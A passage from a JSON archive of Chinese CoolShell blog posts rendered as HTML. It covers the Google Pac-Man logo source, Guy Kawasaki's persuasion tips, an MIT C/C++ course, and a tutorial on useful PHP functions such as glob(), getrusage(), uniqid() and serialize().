class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-22 Google吃豆游戏Logo的源码.html",
    "content": "<html><body><p>这两天，Google的logo换成了那个经典的吃豆游戏，很强大，也引发了大众的热议。如果你想要其源代码的话，你可以到这里下载：<span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 14px; white-space: pre;\"><a href=\"http://github.com/macek/google_pacman\" target=\"_blank\"><strong>http://github.com/macek/google_pacman</strong></a></span>。而在线演示在这里：<span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;\"><a href=\"http://macek.github.com/google_pacman/\">http://macek.github.com/google_pacman/</a>。</span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_2467\" style=\"width: 554px;\"><img alt=\"Google 吃豆游戏 Logo\" class=\"size-full wp-image-2467\" height=\"186\" src=\"../wp-content/uploads/2010/05/google_pacman.jpg\" title=\"Google 吃豆游戏 Logo\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2467\">Google 吃豆游戏 Logo</figcaption></figure>\n<p>需要注意的是，那个源程序在你的本机是不会有声音的，因为这跟flash的设置有关系，如果你需要有游戏声音，你还需要有以下的设置：</p>\n<pre>  1. 打开 Adobe Flash Control Panel:\n     <a href=\"http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html\" target=\"_blank\">http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html</a>\n  2. 点击 <code class=\"EnlighterJSRAW\">Edit Locations</code>\n  3. 点击 <code class=\"EnlighterJSRAW\">Add Location</code>\n  4. 浏览你的 <code class=\"EnlighterJSRAW\">google_pacman</code> 目录\n  5. 点击 <code class=\"EnlighterJSRAW\">Add</code></pre>\n<p>需要注意的是，这个源程序并不是Google官方发布的，只不过是某些好事者的网友发布的，不知道在日后的<a href=\"http://www.google.com/logos/index.html\" target=\"_blank\">Google的Logo归档</a>中是否会见到这个Logo。顺便说一下，根据 <a href=\"http://googleblog.blogspot.com/2010/05/celebrating-pac-mans-30th-birthday.html\" target=\"_blank\">Google官方BLOG</a>，这个程序是由 Marcin Wichary 和 Ryan Germick做的。真是又应了那句话——“如果一个应用能被Javascript实现，那么其最终会被Javascript实现”。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2466.html\">Google吃豆游戏Logo的源码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-23 说服他人的5种技巧 – Guy Kawasaki.html",
    "content": "<html><body><p>硅谷传奇创业者+精神领袖 Guy Kawasaki最近写了一篇新文章总结了以下5种说服他人的技巧。希望对大家对付老外有帮助。摘要如下：<img alt=\"\" class=\"alignleft\" height=\"241\" src=\"https://www.openforum.com/media/db4cb6ac-3e35-48cc-87cb-19fe7b299c5c_detail.jpg\" title=\"little gift\" width=\"322\"/></p>\n<ol>\n<li><strong>先给予，后索取 </strong>(Be the first to give )。研究表明，我们容易被给我们帮过忙的人说服：有些服务员给我们结账的时候带来口香糖，我们一般给他们的小费多些。工作中我们更倾向于给帮助过我们的人更多支持…</li>\n<li><strong>不要给对方太多选择 </strong>(don’t offer too many choices)：不论是给用户选择，还是给员工的奖励机制，太多的选择经常会给人带来挫折感…</li>\n<li><strong>不要以自我为中心辩护</strong>(argue against self-interest)。在说服别人的过程中，信任是最关键的。有时候在大力鼓吹之前承认自己方面的一些小不足可以提高信任感…</li>\n<li><strong>失去比得到更有说服力</strong> (losses are more persuasive than gains)。告诉对方如果不接受你的意见或者不买的你的产品会失去什么，要比只是说明他们会得到什么要更能说服人…</li>\n<li><strong>让对方觉得自己已经取得了一定进步</strong> (make people feel as if they’ve already made progress toward a goal)。例如以下两种推销洗车会员卡服务的方法，方法2的顾客保持率是方法1的两倍。\n<ol>\n<li>洗八次赠一次</li>\n<li>洗十次车赠一次，第一次算免费赠送</li>\n</ol>\n</li>\n</ol>\n<p>原文<a href=\"http://www.openforum.com/idea-hub/topics/the-world/article/5-ways-to-be-persuasive-guy-kawasaki\">link</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1265.html\"><img alt=\"恢复Ext3下被删除的文件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1265.html\">恢复Ext3下被删除的文件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4235.html\"><img alt=\"程序员的谎谬之言还是至理名言？\" height=\"150\" src=\"../wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4235.html\">程序员的谎谬之言还是至理名言？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19464.html\"><img alt=\"如何超过大多数人\" height=\"150\" src=\"../wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1310.html\"><img alt=\"在线代码编译服务Codepad.org\" height=\"150\" src=\"../wp-content/uploads/2009/08/codepad2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1310.html\">在线代码编译服务Codepad.org</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1092.html\"><img alt=\"Top 200的全球开发者BLOG\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1092.html\">Top 200的全球开发者BLOG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1035.html\"><img alt=\"16个简单实用的.htaccess小贴示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1035.html\">16个简单实用的.htaccess小贴示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2460.html\">说服他人的5种技巧 – Guy Kawasaki</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-23 （麻省理工免费课程）C语言内存管理和C++面向对象编程.html",
    "content": "<html><body><p>此课程有全部<a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/lecture-notes\" target=\"_blank\">讲义</a>和<a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/assignments\" target=\"_blank\">习题</a>。</p>\n<p>课程描述实在得令人发指。翻译如下：</p>\n<blockquote><p>您是否由于自己的Python程序比同僚们的C程序慢而垂头丧气？你是否想不用JAVA实现面向对象？加入我们，学习C和C++吧！我们带您从简单的C程序入手，深入C语言的内存管理，简介C++里的面向对象，深入C++面向对象的高级功能以及STL。我们还教您一些以后面试用得着的技巧和知识。</p>\n<p>原文：</p>\n<p>Ever hang your head in shame after your Python program wasn’t as fast as your friend’s C program? Ever wish you could use objects without having to use Java? Join us for this fun introduction to C and C++! We will take you through a tour that will start with writing simple C programs, go deep into the caves of C memory manipulation, resurface with an introduction to using C++ classes, dive deeper into advanced C++ class use and the C++ Standard Template Libraries. We’ll wrap up by teaching you some tricks of the trade that you may need for tech interviews.</p></blockquote>\n<p>麻省理工开放课程里有很多计算机科学的宝贝。不仅有一流的教程，还有习题和答案。适合英语不错的程序员平时充电。</p>\n<p><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/index.htm#features\" target=\"_blank\">课程地址</a>（英文）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3723.html\"><img alt=\"（麻省理工免费课程）计算机科学和编程导论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3723.html\">（麻省理工免费课程）计算机科学和编程导论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2474.html\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-5-6 九个PHP很有用的功能.html",
    "content": "<html><body><p>下面是九个PHP中很有用的功能，不知道你用过了吗？</p>\n<h4><span>1. 函数的任意数目的参数</span></h4>\n<p>你可能知道PHP允许你定义一个默认参数的函数。但你可能并不知道PHP还允许你定义一个完全任意的参数的函数</p>\n<p>下面是一个示例向你展示了默认参数的函数：</p>\n<pre class=\"EnlighterJSRAW\">\n// 两个默认参数的函数\nfunction foo($arg1 = '', $arg2 = '') {\n\n\techo \"arg1: $arg1\\n\";\n\techo \"arg2: $arg2\\n\";\n\n}\n\nfoo('hello','world');\n/* 输出:\narg1: hello\narg2: world\n*/\n\nfoo();\n/* 输出:\narg1:\narg2:\n*/\n</pre>\n<p>现在我们来看一看一个不定参数的函数，其使用到了?<a href=\"http://us2.php.net/manual/en/function.func-get-args.php\">func_get_args()</a>方法：<br/>\n<span id=\"more-2394\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n// 是的，形参列表为空\nfunction foo() {\n\n\t// 取得所有的传入参数的数组\n\t$args = func_get_args();\n\n\tforeach ($args as $k =&gt; $v) {\n\t\techo \"arg\".($k+1).\": $v\\n\";\n\t}\n\n}\n\nfoo();\n/* 什么也不会输出 */\n\nfoo('hello');\n/* 输出\narg1: hello\n*/\n\nfoo('hello', 'world', 'again');\n/* 输出\narg1: hello\narg2: world\narg3: again\n*/\n</pre>\n<h4><span>2. </span>使用 Glob() 查找文件</h4>\n<p>很多PHP的函数都有一个比较长的自解释的函数名，但是，当你看到?<a href=\"http://us.php.net/manual/en/function.glob.php\">glob()</a> 的时候，你可能并不知道这个函数是用来干什么的，除非你对它已经很熟悉了。</p>\n<p>你可以认为这个函数就好?<a href=\"http://php.net/manual/en/function.scandir.php\">scandir()</a> 一样，其可以用来查找文件。</p>\n<pre class=\"EnlighterJSRAW\">\n// 取得所有的后缀为PHP的文件\n$files = glob('*.php');\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] =&gt; phptest.php\n    [1] =&gt; pi.php\n    [2] =&gt; post_output.php\n    [3] =&gt; test.php\n)\n*/\n</pre>\n<p>你还可以查找多种后缀名</p>\n<pre class=\"EnlighterJSRAW\">\n// 取PHP文件和TXT文件\n$files = glob('*.{php,txt}', GLOB_BRACE);\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] =&gt; phptest.php\n    [1] =&gt; pi.php\n    [2] =&gt; post_output.php\n    [3] =&gt; test.php\n    [4] =&gt; log.txt\n    [5] =&gt; test.txt\n)\n*/\n</pre>\n<p>你还可以加上路径：</p>\n<pre class=\"EnlighterJSRAW\">\n$files = glob('../images/a*.jpg');\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] =&gt; ../images/apple.jpg\n    [1] =&gt; ../images/art.jpg\n)\n*/\n</pre>\n<p>如果你想得到绝对路径，你可以调用?<a href=\"http://php.net/manual/en/function.realpath.php\">realpath()</a> 函数：</p>\n<pre class=\"EnlighterJSRAW\">\n$files = glob('../images/a*.jpg');\n\n// applies the function to each array element\n$files = array_map('realpath',$files);\n\nprint_r($files);\n/* output looks like:\nArray\n(\n    [0] =&gt; C:\\wamp\\www\\images\\apple.jpg\n    [1] =&gt; C:\\wamp\\www\\images\\art.jpg\n)\n*/\n</pre>\n<h4><span>3. </span>内存使用信息</h4>\n<p>观察你程序的内存使用能够让你更好的优化你的代码。</p>\n<p>PHP 是有垃圾回收机制的，而且有一套很复杂的内存管理机制。你可以知道你的脚本所使用的内存情况。要知道当前内存使用情况，你可以使用?<a href=\"http://us2.php.net/manual/en/function.memory-get-usage.php\">memory_get_usage()</a> 函数，如果你想知道使用内存的峰值，你可以调用<a href=\"http://us2.php.net/manual/en/function.memory-get-peak-usage.php\">memory_get_peak_usage()</a> 函数。</p>\n<pre class=\"EnlighterJSRAW\">\necho \"Initial: \".memory_get_usage().\" bytes \\n\";\n/* 输出\nInitial: 361400 bytes\n*/\n\n// 使用内存\nfor ($i = 0; $i &lt; 100000; $i++) {\n\t$array []= md5($i);\n}\n\n// 删除一半的内存\nfor ($i = 0; $i &lt; 100000; $i++) {\n\tunset($array[$i]);\n}\n\necho \"Final: \".memory_get_usage().\" bytes \\n\";\n/* prints\nFinal: 885912 bytes\n*/\n\necho \"Peak: \".memory_get_peak_usage().\" bytes \\n\";\n/* 输出峰值\nPeak: 13687072 bytes\n*/\n</pre>\n<h4><span>4. </span>CPU使用信息</h4>\n<p>使用?<a href=\"http://us2.php.net/manual/en/function.getrusage.php\">getrusage()</a> 函数可以让你知道CPU的使用情况。注意，这个功能在Windows下不可用。</p>\n<pre class=\"EnlighterJSRAW\">\nprint_r(getrusage());\n/* 输出\nArray\n(\n    [ru_oublock] =&gt; 0\n    [ru_inblock] =&gt; 0\n    [ru_msgsnd] =&gt; 2\n    [ru_msgrcv] =&gt; 3\n    [ru_maxrss] =&gt; 12692\n    [ru_ixrss] =&gt; 764\n    [ru_idrss] =&gt; 3864\n    [ru_minflt] =&gt; 94\n    [ru_majflt] =&gt; 0\n    [ru_nsignals] =&gt; 1\n    [ru_nvcsw] =&gt; 67\n    [ru_nivcsw] =&gt; 4\n    [ru_nswap] =&gt; 0\n    [ru_utime.tv_usec] =&gt; 0\n    [ru_utime.tv_sec] =&gt; 0\n    [ru_stime.tv_usec] =&gt; 6269\n    [ru_stime.tv_sec] =&gt; 0\n)\n\n*/\n</pre>\n<p>这个结构看上出很晦涩，除非你对CPU很了解。下面一些解释：</p>\n<ul>\n<li>ru_oublock: 块输出操作</li>\n<li>ru_inblock: 块输入操作</li>\n<li>ru_msgsnd: 发送的message</li>\n<li>ru_msgrcv: 收到的message</li>\n<li>ru_maxrss: 最大驻留集大小</li>\n<li>ru_ixrss: 全部共享内存大小</li>\n<li>ru_idrss:全部非共享内存大小</li>\n<li>ru_minflt: 页回收</li>\n<li>ru_majflt: 页失效</li>\n<li>ru_nsignals: 收到的信号</li>\n<li>ru_nvcsw: 主动上下文切换</li>\n<li>ru_nivcsw: 被动上下文切换</li>\n<li>ru_nswap: 交换区</li>\n<li>ru_utime.tv_usec: 用户态时间 (microseconds)</li>\n<li>ru_utime.tv_sec: 用户态时间(seconds)</li>\n<li>ru_stime.tv_usec: 系统内核时间 (microseconds)</li>\n<li>ru_stime.tv_sec: 系统内核时间?(seconds)</li>\n</ul>\n<p>要看到你的脚本消耗了多少CPU，我们需要看看“用户态的时间”和“系统内核时间”的值。秒和微秒部分是分别提供的，您可以把微秒值除以100万，并把它添加到秒的值后，可以得到有小数部分的秒数。</p>\n<pre class=\"EnlighterJSRAW\">\n// sleep for 3 seconds (non-busy)\nsleep(3);\n\n$data = getrusage();\necho \"User time: \".\n\t($data['ru_utime.tv_sec'] +\n\t$data['ru_utime.tv_usec'] / 1000000);\necho \"System time: \".\n\t($data['ru_stime.tv_sec'] +\n\t$data['ru_stime.tv_usec'] / 1000000);\n\n/* 输出\nUser time: 0.011552\nSystem time: 0\n*/\n</pre>\n<p>sleep是不占用系统时间的，我们可以来看下面的一个例子：</p>\n<pre class=\"EnlighterJSRAW\">\n// loop 10 million times (busy)\nfor($i=0;$i&lt;10000000;$i++) {\n\n}\n\n$data = getrusage();\necho \"User time: \".\n\t($data['ru_utime.tv_sec'] +\n\t$data['ru_utime.tv_usec'] / 1000000);\necho \"System time: \".\n\t($data['ru_stime.tv_sec'] +\n\t$data['ru_stime.tv_usec'] / 1000000);\n\n/* 输出\nUser time: 1.424592\nSystem time: 0.004204\n*/\n</pre>\n<p>这花了大约14秒的CPU时间，几乎所有的都是用户的时间，因为没有系统调用。</p>\n<p>系统时间是CPU花费在系统调用上的上执行内核指令的时间。下面是一个例子：</p>\n<pre class=\"EnlighterJSRAW\">\n$start = microtime(true);\n// keep calling microtime for about 3 seconds\nwhile(microtime(true) - $start &lt; 3) {\n\n}\n\n$data = getrusage();\necho \"User time: \".\n\t($data['ru_utime.tv_sec'] +\n\t$data['ru_utime.tv_usec'] / 1000000);\necho \"System time: \".\n\t($data['ru_stime.tv_sec'] +\n\t$data['ru_stime.tv_usec'] / 1000000);\n\n/* prints\nUser time: 1.088171\nSystem time: 1.675315\n*/\n</pre>\n<p>我们可以看到上面这个例子更耗CPU。</p>\n<h4><span>5. </span>系统常量</h4>\n<p>PHP 提供非常有用的<a href=\"http://php.net/manual/en/language.constants.predefined.php\">系统常量</a> 可以让你得到当前的行号 (__LINE__)，文件 (__FILE__)，目录 (__DIR__)，函数名 (__FUNCTION__)，类名(__CLASS__)，方法名(__METHOD__) 和名字空间 (__NAMESPACE__)，很像C语言。</p>\n<p>我们可以以为这些东西主要是用于调试，当也不一定，比如我们可以在include其它文件的时候使用?__FILE__ (当然，你也可以在 PHP 5.3以后使用 __DIR__ )，下面是一个例子。</p>\n<pre class=\"EnlighterJSRAW\">\n// this is relative to the loaded script's path\n// it may cause problems when running scripts from different directories\nrequire_once('config/database.php');\n\n// this is always relative to this file's path\n// no matter where it was included from\nrequire_once(dirname(__FILE__) . '/config/database.php');\n</pre>\n<p>下面是使用 __LINE__ 来输出一些debug的信息，这样有助于你调试程序：</p>\n<pre class=\"EnlighterJSRAW\">\n// some code\n// ...\nmy_debug(\"some debug message\", __LINE__);\n/* 输出\nLine 4: some debug message\n*/\n\n// some more code\n// ...\nmy_debug(\"another debug message\", __LINE__);\n/* 输出\nLine 11: another debug message\n*/\n\nfunction my_debug($msg, $line) {\n\techo \"Line $line: $msg\\n\";\n}\n</pre>\n<h4><span>6.生成唯一的ID</span></h4>\n<p>有很多人使用 md5() 来生成一个唯一的ID，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n// generate unique string\necho md5(time() . mt_rand(1,1000000));\n</pre>\n<p>其实，PHP中有一个叫?<a href=\"http://us2.php.net/manual/en/function.uniqid.php\">uniqid()</a> 的函数是专门用来干这个的：</p>\n<pre class=\"EnlighterJSRAW\">\n// generate unique string\necho uniqid();\n/* 输出\n4bd67c947233e\n*/\n\n// generate another unique string\necho uniqid();\n/* 输出\n4bd67c9472340\n*/\n</pre>\n<p>可能你会注意到生成出来的ID前几位是一样的，这是因为生成器依赖于系统的时间，这其实是一个非常不错的功能，因为你是很容易为你的这些ID排序的。这点MD5是做不到的。</p>\n<p>你还可以加上前缀避免重名：</p>\n<pre class=\"EnlighterJSRAW\">\n// 前缀\necho uniqid('foo_');\n/* 输出\nfoo_4bd67d6cd8b8f\n*/\n\n// 有更多的熵\necho uniqid('',true);\n/* 输出\n4bd67d6cd8b926.12135106\n*/\n\n// 都有\necho uniqid('bar_',true);\n/* 输出\nbar_4bd67da367b650.43684647\n*/\n</pre>\n<p>而且，生成出来的ID会比MD5生成的要短，这会让你节省很多空间。</p>\n<h4><span>7. </span>序列化</h4>\n<p>你是否会把一个比较复杂的数据结构存到数据库或是文件中？你并不需要自己去写自己的算法。PHP早已为你做好了，其提供了两个函数：?<a href=\"http://php.net/manual/en/function.serialize.php\">serialize()</a> 和 <a href=\"http://www.php.net/manual/en/function.unserialize.php\">unserialize()</a>:</p>\n<pre class=\"EnlighterJSRAW\">\n// 一个复杂的数组\n$myvar = array(\n\t'hello',\n\t42,\n\tarray(1,'two'),\n\t'apple'\n);\n\n// 序列化\n$string = serialize($myvar);\n\necho $string;\n/* 输出\na:4:{i:0;s:5:\"hello\";i:1;i:42;i:2;a:2:{i:0;i:1;i:1;s:3:\"two\";}i:3;s:5:\"apple\";}\n*/\n\n// 反序例化\n$newvar = unserialize($string);\n\nprint_r($newvar);\n/* 输出\nArray\n(\n    [0] =&gt; hello\n    [1] =&gt; 42\n    [2] =&gt; Array\n        (\n            [0] =&gt; 1\n            [1] =&gt; two\n        )\n\n    [3] =&gt; apple\n)\n*/\n</pre>\n<p>这是PHP的原生函数，然而在今天JSON越来越流行，所以在PHP5.2以后，PHP开始支持JSON，你可以使用 json_encode() 和 json_decode() 函数</p>\n<pre class=\"EnlighterJSRAW\">\n// a complex array\n$myvar = array(\n\t'hello',\n\t42,\n\tarray(1,'two'),\n\t'apple'\n);\n\n// convert to a string\n$string = json_encode($myvar);\n\necho $string;\n/* prints\n[\"hello\",42,[1,\"two\"],\"apple\"]\n*/\n\n// you can reproduce the original variable\n$newvar = json_decode($string);\n\nprint_r($newvar);\n/* prints\nArray\n(\n    [0] =&gt; hello\n    [1] =&gt; 42\n    [2] =&gt; Array\n        (\n            [0] =&gt; 1\n            [1] =&gt; two\n        )\n\n    [3] =&gt; apple\n)\n*/\n</pre>\n<p>这看起来更为紧凑一些了，而且还兼容于Javascript和其它语言。但是对于一些非常复杂的数据结构，可能会造成数据丢失。</p>\n<h4><span>8. 